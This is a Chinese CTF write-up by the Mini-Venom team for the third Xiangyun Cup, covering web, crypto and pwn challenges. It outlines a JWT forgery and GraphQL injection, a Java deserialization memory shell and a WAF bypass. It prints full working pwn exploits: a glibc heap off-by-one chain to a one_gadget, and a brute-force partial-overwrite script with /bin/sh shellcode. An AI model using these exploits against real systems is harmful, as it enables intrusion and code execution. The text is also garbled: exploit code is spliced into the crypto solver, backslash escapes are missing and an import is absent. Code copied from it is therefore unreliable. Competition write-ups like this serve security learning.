Web
FunWEB
解题思路
JWT bypass(https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9) 刚出的CVE
通过注册发现有admin用户,然后我们尝试随便注册一个用户,点击获取成绩和查看flag都显示不是admin无法查看,查看cookie发现了jwt
因此,整体思路应该是JWT伪造+graphql注入 上面那个github项目poc
https://github.com/davedoesdev/python-jwt
在 /test/vulnerability.py,将自己的注册用户Cookie替换运行脚本 ,绕过token检验 以为绕过了token就能获得flag但是有密码检测,只有正确的密码才能读到flag https://hwlanxiaojun.github.io/2020/04/14/%E5%BD%93CTF%E9%81%87%E4%B8%8AGraphQL%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/ 所以要在读取成绩里面用到 Graphql注入 读密码,要注册一个ascii值比较大的用户名和密码,让admin的密码在上面被查询到,登录admin就有flag (没环境 没截图 将就看了)
ezjava
解题思路
实践上目标是不出网的,所以写个内存马就好了,直接 ysuserial-0.1-su18-all.jar一把索了:
1.py:
import base64
from weakref import proxy
import requests
# proxysdata = {
# 'http': "http://127.0.0.1:8081",
# 'https': "http://127.0.0.1:8081"
# }
file = open("/Users/wa1ki0g/webSec/javaUnserizlize/cc44.txt","rb")
now = file.read()
ba = base64.b64encode(now)
# talk = requests.post("http://127.0.0.1:8080/myTest",data=ba,proxies=proxysdata,verify=False)
talk = requests.post("http://127.0.0.1:8080/myTest",data=ba)
file.close()
最后换下ip端口换成题目的执行命令读下flag
ustwaf
解题思路
题目代码:
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
waf:
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}
与corctf simplewaf这道题很像,wp链接在这:https://bbspediy.com/thread-274102.htm
具体bypass的原因在这篇文章的这段:
本地打通了,换成题目的链接就好
Crypto
tracing
解题思路 写个逆序回去就可以了
import os
from Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537
def reverse(filename):
with open(filename) as qfile:
qfile.seek(0, os.SEEK_END)
position = qfile.tell()
line = ''
while position >= 0:
qfile.seek(position)
next_char = qfile.read(1)
if next_char == "n":
yield line[::-1]
line = ''
else:
line += next_char
position -= 1
yield line[::-1]
def rshift1(a):
return a >> 1
a,b = 1,0
for qfile in reverse('trace.out'):
if 'a, b = b, a' in qfile:
a, b = b, a
if 'a = rshift1(a)' in qfile:
a = a*2
if 'b = rshift1(b)' in qfile:
b= b*2
if ' a = a - b' in qfile:
a = a + b
print(a)
print(b)
d = gmpy2.invert(e,a)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
fill
解题思路
通过s0,s1,s2恢复m,c
m= 55365664
c = 8712091
恢复S的32位 之后通过相减得出M 使用LLL算法对M进行求解, 得出msg为3617517412,求sha256就是flag
M=[19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]
S=492226042629702
n = len(M)
L = matrix.zero(n + 1)
for row, x in enumerate(M):
L[row, row] = 2
L[row, -1] = x
L[-1, :] = 1
L[-1, -1] = S
res = L.LLL()
print(res)elims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, ' '))
uu64 = lambda data :u64(data.ljust(8, ' '))
leak1 = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr
def main():
ctx.binary = '/root/Desktop/pwn/pwn'
ctx.remote = ('47.95.3.91', 42378)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# ctx.debug_remote_libc = True
if args.G:
rs('gdb', gdbscript='b readnc')
elif args.R:
rs('remote')
else:
rs()
try:
# rs()
# input()
payload = b'a'*0x18+b'xd1'
s(payload)
sleep(0.1)
payload = b'a' * 0x18 + b'x02xf3x54'
s(payload)
sleep(0.1)
sl('ls')
sleep(0.1)
# s(payload)
d = r()
if len(d) == 0:
raise EOFError()
print(d)
irt()
return
except EOFError as e:
ctx.close()
raise e
PWN
bitheap
解题思路 一个2.27的堆,edit函数存在一个字节的溢出,当输入的字符是“1”的时候,会多输出以为。因为edit的存储,会导致下一个堆块的inuser位置0,典型的offbyone,就是输入时edit会把2进制转成16进制然后按位取反。
from pwn import *
sh=process('./sandboxheap')
#sh=remote("101.201.71.136 ",30298)
p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin
elf=ELF(filename)
libc=ELF('libc-2.27.so')
ch="Your choice:"
Size="Size: "
Idx="Index:"
Con="Content:"
def add(idx,size):
sh.sendlineafter(ch,str(1))
sh.sendlineafter(Idx,str(idx))
sh.sendlineafter(Size,str(size))
def edit(idx,con):
sh.sendlineafter(ch,str(2))
sh.sendlineafter(Idx,str(idx))
sh.sendlineafter(Con,con)
def show(idx):
sh.sendlineafter(ch,str(3))
sh.sendlineafter(Idx,str(idx))
def delete(idx):
sh.sendlineafter(ch,str(4))
sh.sendlineafter(Idx,str(idx))
def edit2(idx,con):
sh.sendlineafter(ch,str(2))
sh.sendlineafter(Idx,str(idx))
sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1])
for i in range(0x8):
add(i,0x88)
add(8,0x58)
add(9,0x88)
add(10,0x88)
for i in range(7):
delete(i)
delete(7)
edit(8,'1'*(0x58*8))
edit(8,'a'*0x58*8)
edit(8,'1'*0x50*8+'a'*4+'1'*4)
delete(9)
for i in range(0x8):
add(i,0x88)
show(8)
libc_base=u64(sh.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
add(9,0x68)
delete(10)
for i in range(7):
delete(i)
for i in range(0x7):
add(i,0x68)
delete(3)
delete(4)
delete(5)
delete(6)
delete(1)
delete(2)
delete(8)
show(9)
sh.recvuntil("Content: ")
heap_base=u64(sh.recv(6).ljust(8, ' '))-0x860
success("heap_base = "+hex(heap_base))
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret
pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96#
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f302
add(1,0x68)
add(2,0x68)
edit(2,p64(0)+p64(one)+p64(realloc+2))
add(3,0x10)
sh.interactive()
unexploitable
解题思路
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80"""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall"""
# functions for quick script
s = lambda data :ctx.send(data) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(delim, data)
sl = lambda data :ctx.sendline(data)
sla = lambda delim,data :ctx.sendlineafter(delim, data)
r = lambda numb=4096, timeout=0.2 :ctx.recv(numb, timeout=timeout)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, ' '))
uu64 = lambda data :u64(data.ljust(8, ' '))
leak1 = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr
def main():
ctx.binary = '/root/Desktop/pwn/pwn'
ctx.remote = ('47.95.3.91', 42378)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# ctx.debug_remote_libc = True
if args.G:
rs('gdb', gdbscript='b readnc')
elif args.R:
rs('remote')
else:
rs()
try:
# rs()
# input()
payload = b'a'*0x18+b'xd1'
s(payload)
sleep(0.1)
payload = b'a' * 0x18 + b'x02xf3x23'
s(payload)
sleep(0.1)
sl('ls')
sleep(0.1)
# s(payload)
d = r()
if len(d) == 0:
raise EOFError()
print(d)
irt()
return
except EOFError as e:
ctx.close()
raise e
# except EOFError as e:
# ctx.close()
while True:
try:
main()
break
except EOFError:
continue
onegagdet找到0x4f302,先覆盖main地址回到push ebp后面,以便能覆盖libc_start_main地址,然后低位选择302,高3位随意,多跑几次就出来了。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):第三届祥云杯-WriteUp by Mini-Venom